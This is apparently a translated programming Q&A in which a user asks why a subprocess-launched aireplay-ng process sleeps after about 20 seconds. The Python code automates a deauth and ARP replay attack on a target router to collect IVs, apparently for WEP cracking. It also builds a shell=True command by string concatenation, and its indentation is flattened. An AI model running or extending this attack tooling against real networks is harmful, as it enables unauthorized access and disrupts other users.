我有一個進程是通過subprocess.Popen()
啓動的,它意味着無限期地運行。我遇到的問題是這個過程似乎在大約20秒後停止運行。果然,當我檢查top
時,它表明該過程將要進入睡眠狀態。當我手動運行命令時,這不會發生。以子進程模塊啓動的進程進入休眠狀態
任何人都知道我可以如何阻止這種情況發生?
這是子電話:
aireplay = subprocess.Popen('aireplay-ng -3 -b ' + target.mac + ' ' + interface,
shell=True, stdout = subprocess.PIPE, stderr = DN)
time.sleep(5)
starttime = time.time()
ivs = 0
second = False
print 'Sending deauth to generate arps...'
send_deauth(target)
while time.time() - starttime < 1200:
targets = parsecsvfile('crackattempt')
print 'Captured ' + str(ivs) + ' ivs.'
print aireplay.poll()
if len(targets[0]) > 0:
target = targets[0][0]
if ivs > 20000:
break
else :
ivs = int(target.ivs)
time.sleep(1)
如果您顯示一些代碼,人們將能夠爲您提供幫助。 – piokuc
有關此過程正在執行的更多信息。睡覺前最後一件事是什麼?它持續20秒嗎?一直到代碼中的某個點?始終如一地嘗試使用特定的資源,數據結構等?這個過程是一個C程序,又一個Python,還是什麼?等等 –
對不起,我在上面添加了子進程調用。該流程(airmon-ng)在路由器上執行ARP重放攻擊,即通過網卡來回發送和接收數據。它通常在10-30秒後發生。 – bananamana